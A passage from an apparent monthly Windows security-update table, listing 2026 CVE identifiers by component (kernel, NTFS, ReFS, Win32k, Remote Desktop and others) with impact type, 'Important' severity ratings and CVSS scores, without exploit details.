Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  